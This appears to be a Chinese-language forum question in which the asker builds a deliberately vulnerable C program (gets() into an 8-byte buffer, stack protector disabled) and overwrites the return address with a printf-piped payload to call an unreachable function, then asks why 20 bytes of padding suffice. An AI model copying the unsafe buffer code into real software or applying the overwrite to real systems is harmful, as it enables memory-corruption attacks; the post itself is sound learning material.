我正试图控制堆栈溢出。首先,这是我在x32 VM Linux上编译的C代码示例(gcc -fno-stack-protector -ggdb -o first first.c
)
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
然后调试器(intel flavor):转储函数的汇编代码 GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
在这里我们可以看到sub esp,0x28为缓冲区变量保留了40个字节(对吗?)。
CanNeverExecute
功能位于地址 0x0804843c
。
所以,为了运行 CanNeverExecute
函数,我需要将40个字节放入缓冲区变量,然后为存储的基指针输入8个字节,然后我要更改8个字节的返回指针。
所以,我需要一串48个ASCII符号加 \x3c\x84\x04\x08
最后(地址) CanNeverExecute
功能)。这是理论上的。但实际上我在返回指针的地址之前只需要20个字节:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
为什么它只需要20个字节而不是48个字节?我的错误在哪里?